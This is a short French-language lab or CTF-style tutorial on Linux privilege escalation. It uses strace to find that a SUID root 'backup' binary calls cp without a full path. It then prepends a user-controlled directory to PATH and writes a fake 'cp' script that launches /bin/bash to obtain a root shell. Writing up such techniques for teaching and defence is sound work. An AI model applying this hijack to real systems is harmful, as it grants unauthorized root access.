Lorsque qu’un programme s’exécute avec les droits du propriétaire (SUID), il est peut être possible de modifier le chemin d’accès PATH pour que celui exécute autre chose que ce qui était prévu au départ
r0cker@ubuntu:~/secret$ ls -lsa
ls -lsa
total 40
4 drwxrwx--- 2 r0cker r0cker 4096 Jun 27 05:29 .
4 drwxr-xr-x 6 r0cker r0cker 4096 Jun 27 05:30 ..
20 -rwsr-xr-x 1 root root 16904 Nov 18 2020 backup
par exemple, on se rend compte qu’un utilitaire SUID est vulnérable en lisant le code source ou en utilisant l’utilitaire strace pour espionner les entrées / sorties .
Il est évident que backup s’exécute ici avec les privilèges de l’administrateur.
en utilisant “strace backup”, on se rend compte que backup appelle cp mais sans spécifier le chemin complet
mprotect(0x7f7d9dddc000, 2097152, PROT_NONE) = 0
mmap(0x7f7d9dfdc000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1e7000) = 0x7f7d9dfdc000
mmap(0x7f7d9dfe2000, 15072, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f7d9dfe2000
close(3) = 0
arch_prctl(ARCH_SET_FS, 0x7f7d9e2094c0) = 0
mprotect(0x7f7d9dfdc000, 16384, PROT_READ) = 0
mprotect(0x55f754c3b000, 4096, PROT_READ) = 0
mprotect(0x7f7d9e20f000, 4096, PROT_READ) = 0
munmap(0x7f7d9e20a000, 19180) = 0
setuid(0) = -1 EPERM (Operation not permitted)
setgid(0) = -1 EPERM (Operation not permitted)
rt_sigaction(SIGINT, {sa_handler=SIG_IGN, sa_mask=[], sa_flags=SA_RESTORER, sa_restorer=0x7f7d9dc34040}, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
rt_sigaction(SIGQUIT, {sa_handler=SIG_IGN, sa_mask=[], sa_flags=SA_RESTORER, sa_restorer=0x7f7d9dc34040}, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
clone(child_stack=NULL, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0x7ffc0aa81edc) = 2784
wait4(2784, cp: cannot stat '/home/user/r0cker/myfiles/*': No such file or directory
[{WIFEXITED(s) && WEXITSTATUS(s) == 1}], 0, NULL) = 2784
rt_sigaction(SIGINT, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=SA_RESTORER, sa_restorer=0x7f7d9dc34040}, NULL, 8) = 0
rt_sigaction(SIGQUIT, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=SA_RESTORER, sa_restorer=0x7f7d9dc34040}, NULL, 8) = 0
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=2784, si_uid=1001, si_status=1, si_utime=0, si_stime=0} ---
on peut donc modifier le chemin d’accès pour qu’un répertoire sous notre contrôle ait la priorité sur les exécutables systèmes
export PATH=/home/r0cker/secret:$PATH
Par la suite, on crée le script souhaité
cat << EOF > /home/r0cker/secret/cp
#!/bin/bash
/bin/bash
EOF